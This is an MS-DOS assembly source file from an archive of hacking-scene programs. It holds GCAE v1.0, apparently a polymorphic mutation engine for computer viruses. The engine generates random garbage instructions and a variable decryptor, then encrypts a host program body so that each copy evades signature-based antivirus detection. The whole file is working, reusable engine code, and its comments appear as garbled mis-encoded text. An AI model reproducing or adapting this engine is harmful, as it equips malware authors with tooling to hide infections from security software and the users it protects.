home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
CCTX0397.ZIP
/
PMUPDT18.ZIP
/
GCAE-UP.ZIP
/
GCAE10.ASM
Wrap
Assembly Source File
|
1997-02-06
|
19KB
|
910 lines
.MODEL SMALL
.CODE
PUBLIC GCAE,GCAE_E
db 00h,'[GCAE] v1.0',00h
mr_d0 dw ?
mr_d2 dw ?
mr_d4 dw ?
mr_da dw ?
reg_1 db ?
reg_2 db ?
vreg_1 db ?
vreg_2 db ?
treg_1 db ?
treg_2 db ?
v_ax dw ?
v_cx dw ?
v_dx dw ?
v_bx dw ?
v_sp dw ?
v_bp dw ?
v_si dw ?
v_di dw ?
prg_ip dw ?
prg_size dw ?
prg_dx dw ?
prg_ds dw ?
key_id dw ?
xor_type db ?
xor_cod db 03h,2bh,33h,033h ; ╜s╜X║╪├■ add íBsub íBxor ...
cod db 2eh,2eh,0cch,0cch,0cch,0cch,91h,92h,93h,98h,99h,0f0h,0fah
db 0fbh,0fch,0fdh
GCAE:
cld
mov cs:prg_ip,bx ; ░úªs░╤╝╞...
mov cs:prg_size,cx ;
mov cs:prg_dx,dx ;
mov cs:prg_ds,ds ;
call make_eng1 ; ╗s│yªhº╬╡{ªíñº░╞╡{ªí...
call make_eng2 ; ╜s╜X¬║░╞╡{ªí...
mov cx,di ; │]⌐w¬≡ª^░╤╝╞...
push es ;
pop ds ;
xor dx,dx ;
ret
make_eng1:
xor di,di
call make_rad_cod ; ▓úÑ═╢├╝╞...
make_reg: ; │]⌐w╕╤╜X╝╥▓╒⌐╥Ñ╬¬║╝╚ªs╛╣¡╚...
in ax,40h
and ah,00011000b
and al,00011000b
or ah,00100000b
or al,00100000b
cmp ah,00100000b
jz make_reg
cmp al,00100000b
jz make_reg
mov cs:reg_1,ah
mov cs:reg_2,al
xor bp,bp
xor di,di
call make_rec_cod
ret
make_rad_cod:
call rad
mov es:[di],ax
inc di
inc di
cmp di,0100h
jb make_rad_cod
ret
rad:
in ax,40h
xor ax,cs:key_id
add ax,2e4dh
neg ax
mov cs:key_id,ax
ret
make_rec_cod_ext:
mov ax,0100h ; Mmmm... No thing...
sub ax,di ; I must be Crazy...
dec ax ; Whoa... Ha! Ha! Ha! Ha!
dec ax ;
mov ah,0ebh ;
xchg ah,al ;
call mrd ;
mov di,0100h ;
ret
make_rec_cod: ; │o╕╠ñw½ßº┌ñú╖Q╡∙ñF, ºA¼▌¿║
cmp di,00f0h ; ▒i¬φ┤NÑiÑHñF... ╝H! º┌ªb▓V
jae make_rec_cod_ext ; ╣└!!!
call make_rec ; Oh! TV... I love you...
mov al,es:[di] ; I m' coming...
cmp al,40h ;
jb mrc1 ;
cmp al,80h ;
jb mrc2 ;
jmp mrc3 ;
mrc1:
mov ah,al
and al,0fh
cmp al,0ch
jae mrc1_a2
cmp al,08h
jae mrc1_a1
cmp al,04h
jae mrc1_a2
mrc1_a1:
or ah,00000010b
in al,40h
mov dl,ah
and dl,01h
cmp dl,01h
jnz mrc1_a1b1
and al,11011111b
mrc1_a1b1:
mov dl,al
and dl,11000000b
cmp dl,00h
jz mrc1_a1b2
or al,11000000b
xchg ah,al
call mrd
jmp make_rec_cod
mrc1_a1b2:
and al,00111000b
or al,00000110b
xchg ah,al
call mrd
inc di
inc di
jmp make_rec_cod
mrc1_a2:
and ah,11111101b
mov al,ah
call mrb
inc di
and al,00000001b
xor ah,ah
add di,ax
jmp make_rec_cod
mrc2:
cmp al,70h
jae mrc2_a1
cmp al,60h
jae mrc2_a2
and al,00001011b
or al,40h
call mrb
jmp make_rec_cod
mrc2_a1:
xor ah,ah
call mrd
jmp make_rec_cod
mrc2_a2:
and ax,000fh
mov si,OFFSET cs:cod
add si,ax
mov al,cs:[si]
call mrb
jmp make_rec_cod
mrc45:
jmp mrc4
mrc3:
cmp al,90h
jae mrc45
mov ah,al
in al,40h
cmp ah,81h
jz mrc3_a1
cmp ah,83h
jz mrc3_a1
cmp ah,80h
jz mrc3_a2
cmp ah,82h
jz mrc3_a2
jmp mrc3_a3
mrc3_a1:
mov dh,cs:reg_1
mov dl,cs:reg_2
mov cl,03h
shr dh,cl
shr dl,cl
mov cl,al
and cl,00000111b
cmp cl,00000100b
jz mrc3_a1b
cmp dh,cl
jz mrc3_a1b
cmp dl,cl
jz mrc3_a1b
jmp mrc3_a2
mrc3_a1b:
and al,11111011b
mrc3_a2:
or al,11000000b
and ah,11110001b
xchg ah,al
call mrd
inc di
and al,01h
xor ah,ah
add di,ax
jmp make_rec_cod
mrc3_a3:
cmp ah,8ch
jb mrc3_a3b1
and ah,11111011b
mrc3_a3b1:
cmp ah,87h
jz mrc3_a3b2
cmp ah,8bh
jz mrc3_a3b2
jmp mrc3_a3b3
mrc3_a3b2:
and al,11011111b
mrc3_a3b3:
cmp ah,88h
jb mrc3_a3b4
mov dl,al
and dl,11000000b
cmp dl,00h
jz mrc3_a3b6
mrc3_a3b4:
or al,11000000b
mov dl,ah
and dl,01h
cmp dl,01h
jnz mrc3_a3b5
and al,11111011b
mrc3_a3b5:
xchg ah,al
call mrd
jmp make_rec_cod
mrc3_a3b6:
cmp ah,8ah
jb mrc3_a3b7
and al,11111000b
or al,00000110b
xchg ah,al
call mrd
inc di
inc di
jmp make_rec_cod
mrc3_a3b7:
and al,11111000b
or al,00000110b
xchg ah,al
call mrd
in ax,40h
and ax,001fh
or ax,00e0h
dec ax
add ax,cs:prg_ip
call mrd
jmp make_rec_cod
mrc4:
cmp al,0a0h
jb mrc4_a1
cmp al,0b0h
jb mrc4_a2
cmp al,0c0h
jb mrc4_a3
cmp al,0d0h
jb mrc4_a4
jmp mrc5
mrc4_a1:
and al,11110011b
cmp al,90h
jnz mrc4_a1b
mov al,0cch
mrc4_a1b:
call mrb
jmp make_rec_cod
mrc4_a2:
and al,11111001b
call mrb
cmp al,0a8h
jae mrc4_a2b
inc di
inc di
jmp make_rec_cod
mrc4_a2b:
inc di
and al,01h
xor ah,ah
add di,ax
jmp make_rec_cod
mrc4_a3:
cmp al,0bch
jb mrc4_a3b1
and al,00001011b
or al,80h
mov es:[di],al
jmp make_rec_cod
mrc4_a3b1:
call mrb
cmp al,0b8h
jb mrc4_a3b2
inc di
mrc4_a3b2:
inc di
jmp make_rec_cod
mrc4_a4:
mov ah,al
and ah,11110001b
or ah,00000110b
in al,40h
and al,00000111b
or al,11000000b
cmp ah,0c7h
jnz mrc4_a4b
and al,11000011b
mrc4_a4b:
xchg ah,al
call mrd
inc di
and al,01h
xor ah,ah
add di,ax
jmp make_rec_cod
mrc5:
cmp al,0e0h
jb mrc5_a1
jmp mrc5_a2
mrc5_a1:
mov ah,al
and ah,11110011b
in al,40h
mov dl,al
and dl,00111000b
cmp dl,00110000b
jnz mrc5_a1b1
or al,00111000b
mrc5_a1b1:
or al,11000000b
mov dl,ah
and dl,01h
cmp dl,01h
jnz mrc5_a1b2
and al,11111011b
mrc5_a1b2:
xchg ah,al
call mrd
jmp make_rec_cod
mrc5_a2:
cmp al,0e1h
jb mrc5_a2b1
cmp al,0e8h
jb mrc5_a2b2
cmp al,0feh
jae mrc5_a2b4
jmp mrc5_a2b3
mrc5_a2b1:
and al,11110001b
or al,00000100b
call mrb
inc di
jmp make_rec_cod
mrc5_a2b2:
mov ah,al
and ah,0fh
mov al,0ebh
call mrd
xor al,al
xchg ah,al
add di,ax
jmp make_rec_cod
mrc5_a2b3:
mov dl,al
and al,0fh
mov ah,0e8h
xchg ah,al
call mrd
mov al,00h
call mrb
xchg ah,al
add di,ax
mov al,dl
mrc5_a2b3c1:
cmp al,54h
jb mrc5_a2b3c2
sub al,04h
jmp mrc5_a2b3c1
mrc5_a2b3c2:
add al,08h
call mrb
jmp make_rec_cod
mrc5_a2b4:
mov ah,al
in al,40h
and al,00001000b
or al,00000110b
xchg ah,al
call mrd
in ax,40h
and ax,001fh
or ax,00e0h
dec ax
add ax,cs:prg_ip
call mrd
jmp make_rec_cod
make_rec_ext: ; │o╕╠ñw½ß┤N¼O▓úÑ═╕╤╜X╝╥▓╒¬║░╞
ret ; ╡{ªíñF... ºAÑiÑH¼▌¿║▒i¬φ┤NÑi
make_rec: ; ┼o... ╝H!
mov ax,bp ; ís ís Z
mov cx,0004h ; (-)(-) z
shl ax,cl ; í] (oo) í^
or al,03h ;
cmp di,ax ; ║╬─▒ññ...
jb make_rec_ext ;
mr_0:
cmp bp,0000h
jnz mr_1
mov al,0eh
jmp mr_ext
mr_1:
cmp bp,0001h
jnz mr_2
mov al,1fh
jmp mr_ext
mr_2:
cmp bp,0002h
jnz mr_3
in al,40h
and al,01h
cmp al,01h
jz mr_2_a
mov ah,cs:reg_1
or ah,00000110b
mov al,8bh
call mrd
mov cs:mr_d2,di
call madr
inc bp
ret
mr_2_a:
mov ah,00110110b
mov al,0ffh
call mrd
mov cs:mr_d2,di
call madr
mov al,cs:reg_1
mov cl,03h
shr al,cl
or al,01011000b
call mrb
inc bp
ret
mr_3:
cmp bp,0003h
jnz mr_4
call vcpu
inc bp
ret
mr_4:
cmp bp,0004h
jnz mr_5
in al,40h
and al,01h
cmp al,01h
jz mr_4_a
mov ah,cs:reg_1
or ah,00000110b
mov al,89h
call mrd
mov cs:mr_d4,di
call madr
inc bp
ret
mr_4_a:
mov al,cs:reg_1
mov cl,03h
shr al,cl
or al,01010000b
call mrb
mov ah,00000110b
mov al,8fh
call mrd
mov cs:mr_d4,di
call madr
inc bp
ret
mr_5:
cmp bp,0005h
jnz mr_6
mov ah,cs:reg_2
or ah,00000110b
mov al,8bh
call mrd
mov ax,cs:mr_d2
add ax,cs:prg_ip
call mrd
inc bp
ret
mr_6:
cmp bp,0006h
jz mr_7
cmp bp,0007h
jz mr_7
jmp mr_8
mr_7:
mov al,cs:reg_2
mov cl,03h
shr al,cl
or al,40h
call mrb
inc bp
ret
mr_8:
cmp bp,0008h
jnz mr_9
mov ah,cs:reg_2
or ah,00000110b
mov al,89h
call mrd
mov ax,cs:mr_d2
add ax,cs:prg_ip
call mrd
inc bp
ret
mr_9:
cmp bp,0009h
jnz mr_a
mov ah,cs:reg_2
or ah,00000110b
mov al,89h
call mrd
mov ax,cs:mr_d4
add ax,cs:prg_ip
call mrd
inc bp
ret
mr_a:
cmp bp,000ah
jnz mr_b
mov ah,cs:reg_2
mov cl,03h
shr ah,cl
or ah,11111000b
mov al,81h
call mrd
mov cs:mr_da,di
inc di
inc di
call mrc_n
mov al,9ch
call mrb
inc bp
ret
mr_b:
cmp bp,000bh
jnz mr_c
mov al,9dh
call mrb
call mrc_n
mov ax,0100h
sub ax,di
dec ax
dec ax
mov ah,73h
xchg ah,al
call mrd
inc bp
ret
mr_e:
ret
mr_c:
cmp bp,000ch
jnz mr_e
mov al,0e9h
call mrb
mov ax,0ffffh
sub ax,di
dec ax
add ax,cs:mr_d0
call mrd
inc di
and di,0fffeh
in ax,40h
and ax,000eh
add ax,di
mov bx,cs:prg_ip
add ax,bx
mov si,cs:mr_d2
mov es:[si],ax
mov si,cs:mr_d4
mov es:[si],ax
mov cx,cs:prg_size
and cx,0fffeh
add cx,cs:prg_ip
add cx,0100h
mov si,cs:mr_da
mov es:[si],cx
inc bp
ret
mr_ext:
call mrb
inc bp
mov cs:mr_d0,di
ret
mrb: ; │o│íÑ≈┤N¼O▒N al or ax
mov es:[di],al ; ╢±ñJ es:[di] ...
inc di ; ╡M½ßªb▒N di Ñ[ 1 or 2
ret ; !!!
mrd: ;
mov es:[di],ax ;
inc di ;
inc di ;
ret
madr:
mov ax,es:[0000h]
and ax,001fh
or ax,00e0h
dec ax
add ax,cs:prg_ip
call mrd
ret
vcpu: ; │o│íÑ≈¼Oªbº@╕╤╜X¡╚¬║╣B║Γ...
call vcpu_r ; ¼░ñ░╗≥¡n¿║╗≥│┬╖╨⌐O?
in ax,40h ; ª]¼░ñH«añú╖Q┼²ñ@¿╟─Ω╕╤¼r╡{
and ax,0003h ; ªí╕╤▒╝... ñ~...
mov si,OFFSET cs:xor_cod
add si,ax
mov al,cs:[si]
mov cs:xor_type,al
mov ah,cs:vreg_1
or ah,cs:reg_1
or ah,11000000b
call mrd
mov al,cs:vreg_1
add al,al
xor ah,ah
mov si,ax
mov ax,cs:[v_ax+si]
mov cs:key_id,ax
ret
vcpu_r:
call vcpu_mr1
mov cs:vreg_1,al
or al,0b8h
call mrb
mov cs:vcpu_bu1,al
in ax,40h
call mrd
mov cs:vcpu_bu2,ax
call vcpu_b
call mrc_m
call vcpu_mr1
mov cs:vreg_2,al
or al,0b8h
call mrb
mov cs:vcpu_bu1,al
in ax,40h
call mrd
mov cs:vcpu_bu2,ax
call vcpu_b
call mrc_m
call vcpu_mr2
call mrd
mov cs:vcpu_bu2,ax
call vcpu_b
ret
vcpu_b:
push bp
push di
push si
mov ax,cs:v_ax
mov bx,cs:v_bx
mov cx,cs:v_cx
mov dx,cs:v_dx
mov bp,cs:v_bp
mov di,cs:v_di
mov si,cs:v_si
vcpu_bu1 db 90h
vcpu_bu2 dw 9090h
mov cs:v_ax,ax
mov cs:v_bx,bx
mov cs:v_cx,cx
mov cs:v_dx,dx
mov cs:v_bp,bp
mov cs:v_di,di
mov cs:v_si,si
mov ax,9090h
mov cs:vcpu_bu1,al
mov cs:vcpu_bu2,ax
pop si
pop di
pop bp
ret
vcpu_mr1:
in al,40h
and al,00000111b
cmp al,00000100b
jz vcpu_mr1
mov ah,cs:reg_1
mov cl,03h
shr ah,cl
cmp ah,al
jz vcpu_mr1
cmp al,cs:vreg_1
jz vcpu_mr1
ret
vcpu_mr2:
in al,40h
and al,00111000b
or al,03h
mov dl,al
and dl,0f0h
cmp dl,10h
jz vcpu_mr2
mov ah,cs:vreg_1
mov cl,03h
shl ah,cl
or ah,cs:vreg_2
or ah,11000000b
ret
mrc_m:
in al,40h
and al,00111000b
cmp al,00100000b
jz mrc_ma
cmp al,cs:reg_1
jz mrc_ma
mov cl,03h
shr al,cl
cmp al,cs:vreg_1
jz mrc_ma
or al,0b8h
call mrb
mov cs:vcpu_bu1,al
in ax,40h
call mrd
mov cs:vcpu_bu2,ax
call vcpu_b
ret
mrc_ma:
in al,40h
cmp al,40h
jb mrc_ma1
cmp al,60h
jb mrc_ma2
cmp al,90h
jb mrc_ma3
jmp mrc_ma4
mrc_ma1:
and al,11111001b
or al,00000100b
mov ah,al
and ah,0f0h
cmp ah,10h
jnz mrc_ma1b1
in al,40h
jmp mrc_ma4
mrc_ma1b1:
call mrb
mov cs:vcpu_bu1,al
inc di
and al,00000001b
xor ah,ah
add di,ax
cmp al,01h
jz mrc_ma1b2
mov al,es:[di-01h]
mov ah,90h
mov vcpu_bu2,ax
jmp mrc_ma1b3
mrc_ma1b2:
mov ax,es:[di-02h]
mov vcpu_bu2,ax
mrc_ma1b3:
call vcpu_b
ret
mrc_ma2:
in al,40h
and al,00001111b
mov ah,al
and ah,00000111b
cmp ah,00000100b
jz mrc_ma2
mov cl,03
shl ah,cl
cmp ah,cs:reg_1
jz mrc_ma2
or al,40h
call mrb
mov cs:vcpu_bu1,al
call vcpu_b
ret
mrc_ma3:
mov al,80h
call mrb
mov cs:vcpu_bu1,al
mrc_ma3a:
in ax,40h
and al,00111000b
cmp al,00010000b
jz mrc_ma3a
cmp al,00011000b
jz mrc_ma3a
or al,cs:vreg_1
or al,11000000b
call mrd
mov cs:vcpu_bu2,ax
call vcpu_b
ret
mrc_ma4:
and al,0fh
mov ah,0e8h
xchg ah,al
call mrd
mov al,00h
call mrb
push di
xchg ah,al
add di,ax
mrc_ma4b:
in al,40h
and al,00111000b
cmp al,00100000b
jz mrc_ma4b
cmp al,cs:reg_1
jz mrc_ma4b
mov cl,03h
shr al,cl
or al,58h
call mrb
and al,00000111b
or al,0b8h
mov cs:vcpu_bu1,al
pop ax
add ax,cs:prg_ip
mov cs:vcpu_bu2,ax
call vcpu_b
ret
mrc_n:
in ax,40h
and al,00000011b
or al,10001000b
and ah,00111000b
or ah,00000110b
cmp ax,268ch
jz mrc_n
call mrd
in ax,40h
and ax,001fh
or ax,00e0h
dec ax
add ax,cs:prg_ip
call mrd
ret
make_eng2: ; │o│íÑ≈┤N¼Oªb╜s╜X┼o...
mov si,cs:prg_dx ; Ñ╬ñ▀┬Iºa... ºAñ@⌐wÑiÑH
mov ds,cs:prg_ds ; ñF╕╤¬║...
mov ax,cs:key_id ;
mov cx,cs:prg_size ;
me2_l1:
movsw
dec cx
cmp byte ptr cs:xor_type,03h
jz xor_1
cmp byte ptr cs:xor_type,2bh
jz xor_2
jmp xor_3
xor_1:
sub es:[di-02h],ax
jmp xor_4
xor_2:
add es:[di-02h],ax
jmp xor_4
xor_3:
xor es:[di-02h],ax
xor_4:
cmp cx,0002h
jz me2_l2
loop me2_l1
ret
me2_l2:
movsb
ret
GCAE_E db ?
END